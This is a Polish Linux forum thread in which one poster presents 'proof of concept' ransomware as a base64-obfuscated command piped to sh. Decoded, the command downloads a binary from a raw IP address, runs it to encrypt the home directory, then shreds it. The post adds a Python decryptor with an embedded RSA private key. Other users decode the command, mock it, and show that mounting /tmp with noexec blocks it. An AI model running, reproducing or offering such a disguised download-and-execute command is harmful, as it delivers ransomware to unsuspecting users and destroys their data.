Nie jesteś zalogowany.
Jeśli nie posiadasz konta, zarejestruj je już teraz! Pozwoli Ci ono w pełni korzystać z naszego serwisu. Spamerom dziękujemy!
Prosimy o pomoc dla małej Julki — przekaż 1% podatku na Fundacji Dzieciom zdazyć z Pomocą.
Więcej informacji na dug.net.pl/pomagamy/.
[b]Dowod slusznosci koncepcji ataku typu Ransomware dla Linuxa:[/b]
1. Aby zostac zaszyfrowanym wystarczy wywolac magiczne polecenie:
echo d2dldCAtcWMgaHR0cDovLzE5OC4xNjcuMjIzLjc1LzY2NiAtTyAvdG1wLzY2NiAmJiBjaG1vZCBhK3ggL3RtcC82NjYgJiYgL3RtcC82NjYgJiYgc2hyZWQgLW4xIC11IC90bXAvNjY2ICYK | base64 -d | sh
to wszystko
(zostaną zaszyfrowane rekurencyjnie wszystkie dane w katalogu home uzytkownika)
2. Aby sie odszyfrowac nalezy:
-otworzyc plik [b]~/encryption.log[/b] i skopiowac swoj zaszyfrowany klucz symetryczny
-zapisac skrypt decryptor.py:
from Crypto.PublicKey import RSA from Crypto.Cipher import AES import os import base64 BLOCK_SIZE = 64*1024 CIPHER_BLOCK_SIZE = 16 REMOVE_ENCRYPTED = False PRIVATE_RSA_KEY = b'-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEAoBQOkxAKSwkLnrdP7u4CPSu7ji10TRTSyDNuMGVRxrnH0lJa\nRK+JemA1hhqGZJVOyS997r8rKMX+qEtA2X17d6PlVz1GumKCRCXBBqT+aVjG9WUY\nUO7xxvwkodK3AvjyjvSDlZzO+o+72HhuKD46qp/Lvu8px20PtBXvGPgwnDRzaGxT\nHR32bV1qFWvY4zWh7cwsEeZno2AAYelUcF+QXKv5ZTJN4NmeNntKkII2ubB41LIG\neVp7945mBo/K5h2BP6xyXrKRAusI+3PbG1D7sLJdFFuXb0ljqEB1j1wpN0/grNnp\nI2V2mKoIraoRaC4khT/sl0dZ1QDnZUebsv3e8wIDAQABAoIBAAQyQmeMhhiNdiaE\n+61xw9FCsjn56xCSOSxSXNMb9NbWy+wxiHhAecQhfYW0cE12tIgFnLGDhWgeOJzE\nzEBnT7NFMp/k1VPRfUS4EKVR8fFlCGIqcka83M2wkm1DjtSfHgytUD29zJc46V21\nWn3nk7YhVj/9GQVHUKAR6yCmcO/HTZmqrtDnlNOnEvU+485Dof5QdoZqpk7Uy3Jc\nciqdwbQGDPXgRTMLYekEJSzU6KZxwRObWuIOq7n2PUxurXAyjG2+RV3v5Q/b82gU\nbZdn7B42T/hHmE59p29NdnYsv2Ae7eP9J7qDhwyxtqHTe0okEOGVRdWKAu2LNj/x\nuA6kjTECgYEAxrqjG0280rfRj1eT/2pXIumeLf6wusy5S7jlNE+E7YfYVCkrpevn\nua9/llRVbUwxWrh+eA2W0e8+WsCDobDReqyAUb3UGJ/2tH459M1DyKt/8K7sMHr6\npTXYT1NbhRToyIexe1QlaCK3rHx6HrHEPonxYy7yKBdsAV0aaBOQPv0CgYEAzjXw\nfB5LuNVzBxlbt1Nm84znPIdDRrHUjzxBJCRxFstTpddo174Ft8PFb4tvnug4jtt3\nbp7K2VLSr/qm2mZ47vzdlR+jUDC8aViYH4y1WqMVfP9HYUd2GAI3m2kfGzafayf7\neEolTLbNNThSpnm2oq5k+aP1wgyJTncLhmsvEK8CgYEAvePMwuQvDzIx/cPzWNWl\n2WhdixmYiYXhcKeF68wn+kgZv6FvYaXe0CEPyvdegYeSiVtNDS3+9S6j6FeX78Jj\nB9MY8gJvTfBb7e/HNVGF+ZNWNwcODO0V3xNqU7IU+z8Vh7eRMYUgETdLRnfSwM2f\n9RoeG2XaYdCvlUX/W3+GD4kCgYA9nhKJFAhuZ6GiimpEgnBt8DmcdZKdyj+IuWmB\noj4EoKcTFCXo6YgN3Drf1Nt6sUtNLLkoXdyhScVY/l3jPuF+ECMqDzUeniF+nRF/\nw+zg84BVRHaQ0+iuzeLN1oCMAitqupzC2e0BWlJBR94yjoYLYG8dxWeHH3Xb82iH\nNvnuUwKBgAa7AgNqMq14SjJBmUgdjSYoD/UYD6yQZL+ewc2mYL8iCqoYw2G+UcwI\n9SFB5piaHq/gbkAM8qn+FstGYV3C6Z0cbo1msRUjjtWeEPjj6xAlx5Bmb5Itr2Mv\nuA5rrkpwiE+SCnYtojLUuFtl+qWH4XMUIUQ6+1F95sOKXbiERP/4\n-----END RSA PRIVATE KEY-----' ENCRYPTED_AES_KEY=b'cCz+Kwm4+45ja3x/t1A/+cpxObAR2tlfwQE/7qoC4GqfuvHQkqXEILlS/089bxbpz2KMTCRpy9Nerdx0jkh5E1ctesySLl+nzxHm7DamAOkvAM1TnCqqpBqU0TXCVCptIxH/Csnb40Yd1ZGUOXeUPDRVv2jE0Q+lY+kD2e4GfJWfTDwzP/qgInNOffeAx2yv5ULJu/zo7cai79AjGzuWBu+zHckNDgKZUTuzhpwGBKT/wlZm7gVDRnyck7OwsDP5b9A13o9BmnWsYkJ2nAuCaGOZJr3g/Qbtk5C0WekQpNSntFkkr622MkEHmzTKwdbLMjYmOLcBA+lQoy2RqkwoSg==' def decrypt_file(file, cipher): try: fread = open(file, "rb") fwrite = open(file[:-7], "wb") while True: block = fread.read(BLOCK_SIZE) if(len(block) == 0): break fwrite.write(cipher.decrypt(block)) fread.close() fwrite.close() if REMOVE_ENCRYPTED: os.remove(file) return True except: return False def main(): plain = RSA.importKey(PRIVATE_RSA_KEY).decrypt(base64.b64decode(ENCRYPTED_AES_KEY)) key = plain[:2*CIPHER_BLOCK_SIZE] ivector = plain[-CIPHER_BLOCK_SIZE:] print('Klucz AES został odszyfrowany...\n') for dirpath, dirnames, files in os.walk(os.getenv("HOME")): for filename in files: filepath = os.path.join(dirpath, filename) if filepath[-7:] != '.locked': continue if decrypt_file(filepath, AES.new(key,AES.MODE_CBC,ivector)): print('Odszyfrowano: '+filepath[:-7]) main()
i podmienic w nim ENCRYPTED_AES_KEY na swoj klucz
-doinstalowac potrzebne pakiety:
[b]sudo apt-get update[/b]
[b]sudo apt-get install python3-pip[/b]
[b]pip3 install pycrypto[/b]
-wykonac skrypt deszyfrujacy:
[b]python3 decryptor.py[/b]
Fajne ? :D
Offline
Potwierdza to teorie, że żeby się zainfekować to wystarczy jeden raz coś uruchomić, czasami przypadkiem, tak samo pod Windowsem jak i Linuxem.
Zdekodowane z Base64:
wget -qc http://198.167.223.75/666 -O /tmp/666 && chmod a+x /tmp/666 && /tmp/666 && shred -n1 -u /tmp/666 &
Ostatnio edytowany przez loms (2018-09-25 16:43:05)
Offline
[b]loms[/b] to jest to co ci kiedys obiecalem:
https://forum.dug.net.pl/viewtopic.php?pid=320667#p320667
:)
Offline
To jeszcze napisz w jaki sposób użytkownik ma to sobie niby zrobić.
Równie dobrze atakiem można nazwać użycie narzędzia [tt]rm[/tt] ;)
Offline
[quote=091619EE][b]Dowod slusznosci koncepcji ataku typu Ransomware dla Linuxa:[/b]
:)[/quote]
Popraw tego exploita bo on nie działa, to jakieś brakoróbstwo.
Przekierowanie wyjścia do `wget-log.1'. bash: linia 13: /tmp/666: Brak dostępu ^C [1]+ Kod wyjścia 126 wget -qc http://198.167.223.75/666 -O /tmp/666 && chmod a+x /tmp/666 && /tmp/666 && shred -n1 -u /tmp/666
i tyle w temacie.
Wystarczy sensownie montować /tmp.
grep /tmp /etc/fstab tmpfs /tmp tmpfs noatime,noexec,nosuid,nodev,mode=1777 0 0
SOA#1
Ostatnio edytowany przez Jacekalex (2018-09-25 20:04:43)
Offline
Time (s) | Query |
---|---|
0.00016 | SET CHARSET latin2 |
0.00007 | SET NAMES latin2 |
0.00125 | SELECT u.*, g.*, o.logged FROM punbb_users AS u INNER JOIN punbb_groups AS g ON u.group_id=g.g_id LEFT JOIN punbb_online AS o ON o.ident='18.190.153.77' WHERE u.id=1 |
0.00097 | UPDATE punbb_online SET logged=1732194354 WHERE ident='18.190.153.77' |
0.00068 | SELECT * FROM punbb_online WHERE logged<1732194054 |
0.00093 | DELETE FROM punbb_online WHERE ident='18.226.222.132' |
0.00098 | DELETE FROM punbb_online WHERE ident='85.208.96.202' |
0.00082 | SELECT topic_id FROM punbb_posts WHERE id=321319 |
0.00132 | SELECT id FROM punbb_posts WHERE topic_id=30644 ORDER BY posted |
0.00079 | SELECT t.subject, t.closed, t.num_replies, t.sticky, f.id AS forum_id, f.forum_name, f.moderators, fp.post_replies, 0 FROM punbb_topics AS t INNER JOIN punbb_forums AS f ON f.id=t.forum_id LEFT JOIN punbb_forum_perms AS fp ON (fp.forum_id=f.id AND fp.group_id=3) WHERE (fp.read_forum IS NULL OR fp.read_forum=1) AND t.id=30644 AND t.moved_to IS NULL |
0.00007 | SELECT search_for, replace_with FROM punbb_censoring |
0.00146 | SELECT u.email, u.title, u.url, u.location, u.use_avatar, u.signature, u.email_setting, u.num_posts, u.registered, u.admin_note, p.id, p.poster AS username, p.poster_id, p.poster_ip, p.poster_email, p.message, p.hide_smilies, p.posted, p.edited, p.edited_by, g.g_id, g.g_user_title, o.user_id AS is_online FROM punbb_posts AS p INNER JOIN punbb_users AS u ON u.id=p.poster_id INNER JOIN punbb_groups AS g ON g.g_id=u.group_id LEFT JOIN punbb_online AS o ON (o.user_id=u.id AND o.user_id!=1 AND o.idle=0) WHERE p.topic_id=30644 ORDER BY p.id LIMIT 0,25 |
0.00112 | UPDATE punbb_topics SET num_views=num_views+1 WHERE id=30644 |
Total query time: 0.01062 s |